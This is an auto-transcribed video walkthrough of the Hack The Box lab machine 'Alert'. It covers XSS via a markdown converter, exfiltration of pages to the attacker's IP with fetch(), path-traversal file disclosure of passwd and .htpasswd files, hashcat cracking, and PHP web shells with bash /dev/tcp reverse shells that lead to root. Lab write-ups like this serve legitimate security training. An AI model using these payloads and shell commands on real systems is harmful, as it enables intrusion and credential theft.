text: what's going on YouTube this is ipsec and we'll be doing alert from hack the box which the foot hold is probably a tad difficult for an easy machine as it requires enumerating a web app via cross-site request forgery however every critical piece of information needed to do this can be found multiple ways and I'll do my best to highlight them as we go through it first we discover there's a contact us page and when we submit a link to it a web browser immediately opens it up there's also a markdown converter that we can use to have the web server host some JavaScript so we can submit the uh page the markdown converter gives us to the contact us form and then control the target browser and when we point that browser at the homepage we discover there's a another page called messages and that has a file

title: HackTheBox - Alert


text: disclosure vulnerability that we can use to leak the HT passwd file that lets us on the box and from that user the box is pretty easy we discover there's another web server running that we can just drop a PHP script and execute it to get root so with that being said let's jump in as always we're going to start off with an end map so- SCC for default scripts SV numerate versions dvv for double re this gives us things like the TTL OA output all formats by the N map director and call it alert then the IP address of 10101 11.44 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and the banner tells us it's an aunu server we also have HTTP on Port 80 and its Banner tells us it's Apache also running on Ubuntu and also it is redirecting us

title: HackTheBox - Alert


text: over to alert. htb when we access it so let's go ahead and add this to a host file so we'll do pseudo VC host uh not pbd there we go and then we'll do 10101 11.44 put alert. htb save that and then let's go take a look at the website so we'll do HTTP alert. htb and we can see it starts off with a markdown viewer now when we click browse it wants us to um attach to file so I'm just going to do V test. MD and then we'll put some um basic mark down okay we can save that and now let's go ahead and find this file so it's in the htb alert directory and test. MD I'm also going to intercept this request just so we have it in responder uh intercept is on okay let's view the markdown Center repeater we can forward that and we just get a page if we look at the repeater for what happened we can see the markdown viewer and it converts the markdown over to HTML right we have

title: HackTheBox - Alert


text: the header because we did the um header tag I guess or the like emphasis I don't know exactly what the markdown names for those are but it did a relatively good job we can see it redirects us over to visualizer PHP and then gives us a markdown file so my first thought is um can we have any type of file inclusion vulnerability here right so let's go ahead and also put this into burp Suite s that to a repeater and we hit enter on this we can see the page so let's change this link share um it's probably going to like an uploads directory so I'm going to put like dot dot back slash and then we'll try like index.php to see what happens and we get invalid file name so wonder if we did like do index.md does that work no it doesn't so it doesn't like the do do slash probably if we did like index.php here what happens invalid file name what if it was

title: HackTheBox - Alert


text: index.md invalid oh invalid file is that what it did before we did dot dot slash no so there is some type of filter here that doesn't like dot dot slash um one of it doesn't like the slash let's put a slash in line with this invalid file name so it's probably just allowing us to do like period and then characters and numbers I'm guessing in this so there's some type of filter on link share so I'm not really that um concerned with a file inclusion vulnerability there right now maybe if if we figured out what the directory was we could try other things but it has to end inmd I think so um it's pretty hard to find a vulnerability there unless let's see like this is some type of predictable format like the date but this looks just like two random strings cuz we could potentially like go back and look at

title: HackTheBox - Alert


text: other things people are putting down on the markdown and access it kind of like an idore vulnerability right but um none of that looks like it exists let's just move on and look at other things of the website so I'm going to turn burp Suite off and then we can go to alert. htb again we go over to the contact us page it wants email and a message let's just test if this works root atp. Ro man my message is lagging as I type into this box that's weird um image source is equal to http 10 1048 let's put it on Port 8,000 and we probably need to do like test.png right and then let's do SL image like that and I will also put this one over to burp Suite okay is my intercept on now let's click Send and let's see that can be forwarded this is the first request and we should start labeling these um this will be generate MD this

title: HackTheBox - Alert


text: is link share and this will be contact us awesome uh before we send that request let's just listen on Port 8000 we can send it see what the message says it just directs us saying the message was sent successfully and then looking at this we actually see a connection immediately so we see connection from 1010 1144 and it is getting the image from and we got some weird HTML here let's see uh do we actually need to URL encode this probably not and I'm actually going to add a k to my lvmp just so it keeps this uh connection open so you don't have to keep testing that so let send that off um while that goes let's just take a look at the Donate page um let's for this turn intercept off looks like we have to enter a amount to donate and then we click it and nothing really happens um we can intercept this real quick

title: HackTheBox - Alert


text: donate uh for the request amount 12 1345 bytes let's put a single quote 1345 byes um put nothing 1345 so everything's just doing the same thing I'm guessing the Donate um even if it was one it's going to be hard for us to figure something out I'm going to focus more on this cross site script rting right now because that's the biggest lead we have and it is still sending this back what if I put a space here okay so for some reason it's adding all of this into the link I don't understand that right now but let's just um see if we can steal cookies so we going to do image source is equal to X and then we can say on error is equal to and I'm going to do fetch HTTP 10 10 148 or 8,000 and then we can say plus we have to URL encode that uh we'll do b2a document. cookie like that close out the Fetch and that send

title: HackTheBox - Alert


text: it and let's see it did not process this at all we got the quote do a space try this again huh I wonder if it doesn't like the plus let's do a double URL encode just in case it's like URL decoding and then that still doesn't really look any different oddly enough like the request is identical I don't see any difference between oh it just went through so we see the plus is ur encoded there so that did not do anything um there is something else in JavaScript we can do I'm going to go in the console pane to show you um if we do like console.log I'm going to do test and then we do um plus B2 a and then stuff here and this is going to do what you expect and say test and then has some base 64 in cured things right um if we use backck here actually uh we can treat kind of like a template instead of doing the plus so I've had some luck with evading um filters with

title: HackTheBox - Alert


text: this so if we do this way we can see it does the same thing if we had a double quote here do a double quote and then we'll put this in single quote so we could have escaped the double quote I guess but see it still prints it like that so only the template works with the back ticks so that's why I'm going to try this just in case maybe the plus is causing the issue so let's go and change that like this and then document.cookie let's see how would this go like this like that and close off the fetch awesome so let's look at at the page and it's just straight like this so nothing's getting processed here and then like thinking about it if I left this um quote in or the angle bracket that's when it gives us a bunch of stuff so what's happening here is I think they're just clicking on the link um so

title: HackTheBox - Alert


text: it doesn't really matter like the HTML we've been doing here it's just because this has been showing as a hyperlink and getting clicked on we can validate that by just like sending a link so let's just have the message be no HTML and we'll simplify it and just put a link here and we get a connection back immediately so um this is just clicking a link and let's go and uh look at the markdown right because we can get them to go to a page if we can get them to go to this page and put some type of um cross scripting payload on it we can probably get them to execute it so I'm going to try uh script and then we can do source is equal to http 10101 148 which is my IP address uh we'll do p. JS and then end the script tag and see what happens here we see it is um looking good I'm going to copy this link

title: HackTheBox - Alert


text: the share link I'm going to paste it in my browser already have that up if we look here do we have a connection yet oh we're probably intercepting on Burp Suite we can turn that off so we load this page and it's making a request to load pawn. JS so this is going very well for us I'm going to make a directory dubdub dub and we're going to create pawn. JS so let's do vp. JS and we're going to say fetch HTTP 101048 and then we can say um we do SL Mark like that plus plus b2a document.cookie like this and close everything out save that and then we want to grab this page that we had sent where the generate MD we can copy this go to the contact us we're going to put this page here send it and we probably need to stand up the web server python 3- mhtp let's do a new pan dubdub dub python 3-m HTP server there we go

title: HackTheBox - Alert


text: send it again they do a get on per. JS so it loaded but nothing else happened we do fetch 10 10 148 I did not specify Port 8,000 there we go and we don't have any cookie so HTTP only probably is set so here I'm going to play with like cross site request forgery so let's go edit p. JS and I'm going to create two helper functions for me just because this makes like prate request forgery easier for me um this is probably not the correct way to do it it's just how I do it I'm going to create a um async function for get data and I'm going to say the response is equal to await fch on URL and then we can say the result is await response.

title: HackTheBox - Alert


text: text and then we can return result okay and I also want to do async function for post data and we'll do URL data and this one is a little bit more complex we'll do const response is equal to await fetch URL and then we got to send the um extra parameters so we're going to say the method is going to be a post and then we want to say mode is equal to no cores if we don't do that then first it's going to send like the option verb and see what methods the web server supports the mode no cores is just going to make it do a post request right away so we do headers and then we need to set the content type and that's what application X dubdub duub form URL encoded that's normally what's on a post request and now we can finally send over the body which is just going to be the data parameter we send it we close this out and then we do const result is equal

title: HackTheBox - Alert


text: to await response. text return result okay and then async function pone is going to be um the chain I'm doing so I'm going to say const page is equal to await get data and then we can just say HTTP alert.

title: HackTheBox - Alert


text: htb and we're going to get what page the um browser sees and then we do await post data we're going to send it back over to us so http 10 10 14 8 and I'm not going to do um Port 8,000 because that's where my python HTTP server is I'm going to just send it over to a netcat that I'll have listening on 90001 um and then we give it the page like this close that out and then run pone so all this is doing is having their browser um query alert. HTP and then send it back over to us um I'm going to just put a slash here I don't think I need it but just good habit okay so now our prone. JS is there let's do Python 3 HTTP server address already in use um okay that's fine let's just do a NC LVN KP 901 and let's see if we send this request again we got PJs and nothing so it hit the thing but we didn't get anything so let's test this out on ourselves because we probably have a

title: HackTheBox - Alert


text: typer or something if we send it to ourselves we have um the debugging so response is not defined in P.J line 3 B pone go3 because I have a typo there refresh awesome so we see 101 148 gone. JS and then we have data here this is the HTML of alert. htb right so let's go ahead and um send it again so we're sending the contact us they should hit the oh they did I think we see a new link here uh before we go up it stopped it went markdown viewer contact us about us donate and now this goes with messages so we have a new page here and as I'm looking at these links um I probably should have tried another file inclusion technique right because this page is often um also like a file inclusion vulnerability if we just build it manually it's doing something like this uh what is it index . PHP page is

title: HackTheBox - Alert


text: equal to and then it does like donate right and that loads the Donate page so my first thought is maybe it's doing donate. PHP so if we try this is this going to be a uh file it is not maybe there's another directory pages so we probably should start up some type of dur Buster on this to figure out exactly how the page is working right because most of the time um it'll do index.php and then page and it's um taking this variable it appends PHP and doesn't include right so maybe we could do like dot do/ index and load something and we get page not found so that's not happening but that is something else I would think about um it just didn't dawn them to me until I saw the link but now that we have the cross state scripting thing let's go focus on this so we have this index.php page is equal to messages and as I say that

title: HackTheBox - Alert


text: let's just see one last thing I'm sorry for jumping all over but if we had set up like a w fuff what happens if we do Pages equal to messages here we don't get a does not exist messages a page not found messages nothing so if you had set up a FFF so normally when doing like a um test I would copy this to a file um let's go with htb alert we'll say this is page.

title: HackTheBox - Alert


text: request okay that's saved let's do this quick uh FFF D request page. request request Proto it equals to spaces I think space is fine um word list let's do op secc list Discovery web content raft small words.

title: HackTheBox - Alert


text: text and let's see something did not like it get that oh V page. request let's change messages over to buzz there we go awesome let's now filter out let's say uh filter size 690 we get about let's see if we get anything else messages so that's how you could also find Pages equal to messages so um you could either do it from like cross site request forgery accessing alert. htb or you could um find it through wuff also um actually we'll get to that in second so let's see we have the cross site request um attack right here let's go back and edit p. JS and we want to see what the message page looks like so let's do question mark page is equal is it just message or messages messages looks like like that save and now let's go back here um contact us send it I don't think it worked so let's just generate

title: HackTheBox - Alert


text: again I think this link is only valid for a certain amount of time so every now and then I think you just have to update it we're just testing this real quick or maybe we broke p. JS when we edited it both are possibilities uh we got the second p. JS and it's directing us to messages PHP and this is another place where we could have um got a hint right if we had done a durust on files we'd find this messages. PHP I believe we do a request here we're getting no page so if we ran like gobster U HTP alert. htb word list opt secist Discovery web content graph small words. text arguments as PHP uh we to set this in dur mode Let's see if we end up getting like messages. PHP um there is a uploads directory that I haven't uh saw yet if we just go alert.

title: HackTheBox - Alert


text: htb uploads we get forbidden but that's going to be where all the markdown files are and we can see uh there is a messages directory and messages. PHP as well so again you could find all this information out multiple ways we're finding out through like the cross- site request forgery but if you have a good Recon thing running all your tools like doing fuzzing when you see things it's also apparent there and I'd always recommend doing that fuzzing in the background because it does take time to run and you just really can't get the time back and sometimes seeing those things um gives you the hint you need in order to move forward right so let's see let's go back to our p. Js so we can go here and what it's doing is saying it's doing messages. PHP and then file is equal to something so I'm going to try for uh file uh disclosure so let's

title: HackTheBox - Alert


text: try um let's see let's go edit this paste and we'll do a bunch of dot dot slashes ety pass WD that sounds good go back here let's send the contact us form again and we get past WD now what I'm thinking is do I have a um lfi vulnerability an inclusion vulnerability or just disclosure right I'm probably in the uploads directory the messages directory so my first thought is let's go up one directory and include index.php if I see a bunch of PHP source code then uh it's a file disclosure vulnerability cuz it's not including it if I actually get what index.php looks like without any PHP code then we know we can execute things and then I'd probably try to put like PHP code on a markdown file and then go to it and execute code that way but we're seeing the PHP tag so uh we can't execute anything but we can see what index.php looks like and it looks like it's just a

title: HackTheBox - Alert


text: switch statement and oddly enough um at the top when it's generating all the links if it's coming from Local Host it is giving us this message thing so um there is no like cookie to steal so HTTP only wasn't set but that's only because there is no cookie to begin with I think that means also we could probably skip the whole markdown thing and just run JavaScript on our own page and then request it on this which I'm going to test at the very end of this video because I haven't done that yet it's just something um I'm thinking about as I'm looking at this code uh let's see is there anything else interesting here uh we could look at what messages. PHP looks like I guess so let's go and edit our thing and let's do messages. PHP save that go over here send the contact and let's see we have file get contents

title: HackTheBox - Alert


text: nothing of interest to us um the other thing we had was this whole link share thing um let's see how this is doing it because maybe there's an include statement there so I'm going to look at the source code for visualizer PHP so we can paste this get rid of that extra PHP check this out uh does not look like I got anything send it again oh we're on the the um link share let's go to contact us there we go okay this is the markdown source code and see how it's working so markdown does go into uploads there's link share show markdown is the function so we don't have any sanitization right here it's just the straight get of the the file so let's look at sh mark down and there we have it so we have a regular expression making sure it's alpha numeric and adds a period and also ends inmd and looking at it it's going to

title: HackTheBox - Alert


text: execute uh pars down. PHP so we could pull this file as well look see if there's any vulnerabilities here maybe there's a rce in this PHP but I'm not going to do that um I'm pretty confident there isn't but if you wanted to something to take a look at you could probably Google like PHP uh GitHub pars down. PHP and get the version or something like that main thing is I'm looking at it we see a file get contents not a include statement so um no lfi there so at this point let's try um changing up our payload and let's get Etsy HST so let's do dot dot slash and I always like getting Etsy hers because it's a good indic if I'm in like a Docker or something like that it's just always a good file to look at on Linux and we get a extra domain statistics. alert. htb we hadn't seen that yet but again if we had been due

title: HackTheBox - Alert


text: diligent and did all a Recon let's try um a virtual host enumeration so we can do f-u HTP alert. htb word list op secc list Discovery DNS subdomains top uh let's do 5,000 uh let's see the host header is going to be host um buzz alert htb let's filter code 30 301 and see if we get statistics chances are we will I believe yep there we have it so another way we can know statistics. alert. htb exist so if we added this to our host so pseudo VY host let's do statistics uh statistics I'm mistyping that do I have in my clipboard please say I do awesome and let's go and browse to that page it asks for username and password now normally when Apache does this it's going to be um a HT pbd file and you can't just request that file um that had no response there but forbidden right but we do have a file

title: HackTheBox - Alert


text: inclusion vulnerability right so we could go where we think this file exist so normally it's ver dubdub duub and then it's either going to be probably statistics man I cannot spell statistics today let's just put that um it's either going to be the fully qualified name or just statistics right so we can just try the fully qualified alert. htb like that and then HT passwd and see if we can get this file because this is most likely where it's going to be send that and we do we grab the HT passwd file right there now we could have also um found it another way so if we wanted to we could potentially like enumerate the Apache config so Apache config is going to be um Etsy Apache 2 sites uh enabled and then what is the default for upun 2 it's going to be the same as my host I have it installed uh sites

title: HackTheBox - Alert


text: enabled 00- default. comom and you can play with a bunch of file names right but we're going to try the default Apache send that I don't think it worked let's see did not screw up the HTML let's just go and generate MD again I'm going to put SL body in my search and then we just autoc scroll to this so this just makes it a bit easier to get a new link whenever it expires paste it and there we go we have the Apache config and we can see right here all the virtual host are being set statistics and also specifying the off user file so again multiple ways we can get this HT P WD I'm sure there's probably more than I'm showing here these are just kind of the ways I would go about it right so let's go here we can paste it uh that's not the right clipboard that looks like better let's just grab this again so we can go over and try cracking it right so

title: HackTheBox - Alert


text: we copy this and then I'm going to go over to the Kraken just another box out of my network for you just run on your host I would not try cracking in a VM we can do hashes alert. hdb put in this hashash cat-- user because we have the username colon the hash um the file name opt wordlist rocky. text it should start in autodetect mode and hopefully it autod detects it looks like it does and we have already cracked it the password is Manchester United additionally because we did the D- user if you get rid of the word list you can do D- show and it'll look in your pot file and show the hash col in the password that's why I always like using the D- user so now we can log into this Statistics page if we wanted to so we can do Albert and the password and we see donations if we went to the very beginning of this box with

title: HackTheBox - Alert


text: this whole donate thing um it did nothing let's see if it does anything so probably month January of 2024 well December 2024 I don't think any of these numbers are going to change let's put a 1,000 donate refresh and no numbers changed uh we could try sshing into the box so I know we did Etsy passwd a few times um I'm going to search up for root it's going to find it there here's pass WD and looking at all the users we can see Albert is a user on the box so let's just go ahead and try sh Albert at 10101 I think 44 is it and then the password do I have Manchester United on my clipboard I do and we get logged in so the first thing I always do is just look at what's in the home directory we have user. taxt there um we could go in ver dubdub duub and see if there's any databases if we got like any more um hashes we could get we could look at the messages directory the uploads directory

title: HackTheBox - Alert


text: to see if there's other files um we could be reading it doesn't look like that's the case we go in statistics do we miss anything here uh we can't even go in statistics we don't have Mission um oddly enough but we could go in alert because that 777 statistics is um 77 and we're not dubdub dub data if we wanted to escalate to dubd data we may be able to let's do find do- writable and we can write any of these files so we could just go in uploads and then V shell. PHP and then let's do PHP system and then B- C b-i Dev TCP 101048 91 0 and and one like that I think that's good okay so let's just do a Get on um uploads shell.

title: HackTheBox - Alert


text: PHP n cvnp 901 already listening let's kill that there we go now we're D du data we wanted we can go up to directories uh maybe I screwed up the shell uh this single quote goes there not sure what I was thinking there send that again let's go up to CD statistics alert htb there's only index.php and we could look at this to see anything interesting um Echo Json and code nothing really sticks out um let's just search up for dollar uncore see if it ever gets any variables and it doesn't so um we don't really get anything by switching over to the dubdub duub data user but that is something I generally do uh play with the other thing I like doing is the PS ef-- Forest looking at all the processes that are running uh we can see our reverse shells um let's see we have some Chron scripts running so root scripts xss bot this is I notify

title: HackTheBox - Alert


text: weight which is kind of um it's an easy way to hook I notify which is like file system events so right there there's setting like an event probably if a file gets created it automatically executes a script it's much quicker than doing like a cron every minute right it's just monitoring for files being created and things like that so let's see what else do we have uh DH client let's see Python 3 I don't know what that's doing manager right here is interesting we have rout running a web server on port 8080 uh we also have fail to ban being ran so that's what python is doing so it has fail to ban but let's look at what the website monitor is so port 8080 and if we had just um done an SS lntp we would have seen 8080 as well um psf grap 8080 let's see that's an opt website Monitor and this is running as root and

title: HackTheBox - Alert


text: let's see I'm just going to do the same thing find do-able uh we need Dash writable and we can write to monitors and config so let's go in config V shell. PHP and we're going to say the same thing can I just copy that uh copy V dubdub duub HTML alert U no not that alert uploads shell awesome so let's now try uh we can exit this shell and it was listing on 8080 so let's curl Local Host 8080 config shell.

title: HackTheBox - Alert


text: PHP and there we go we got a root shell on alert so we can cat root. text and that's it so hope you guys enjoyed that take care and I'll see you all next time actually wait a second there was one thing I wanted to test um and that is because the uh website itself we went back to it ver dubdub dub alert uh less index is it here um because it's doing it this way I think we could probably just trick the browser in hitting this page from our website that we stand up and that's what I want to try so let's go uh back to the contact page I'm probably going have shown this earlier because it's only going to take a second right um let's just do message HTTP 10 1048 8000 index.html and let's create this so uh let go here V index.html HTML script source is equal to turn.js script SL HTML let's see what happens here that neat's no longer listening so we can

title: HackTheBox - Alert


text: stand it up again send this message it got p index.html p. JS but nothing happened I wonder if there's going to be some type of browser protection let's look at this again turn.js that is sending to 901 that's good I'm going to change this real quick let's just do the alert. htb because I'm going to do this from my web browser to see if any error message appears so save that send it again we get index we get pone but no data back so let's try it on ours so HTTP 10 1048 8000 index.html and I'm also going to have my console window open so I can see any errors and we have access control origin missing so because of cores we can't just access the other page easily um we may be able to like add cores header but I don't think so um so that's why this isn't so easy you have to like um put it on the markdown page itself and that's probably going to

title: HackTheBox - Alert


text: be the video so take care and I will see you all next time

title: HackTheBox - Alert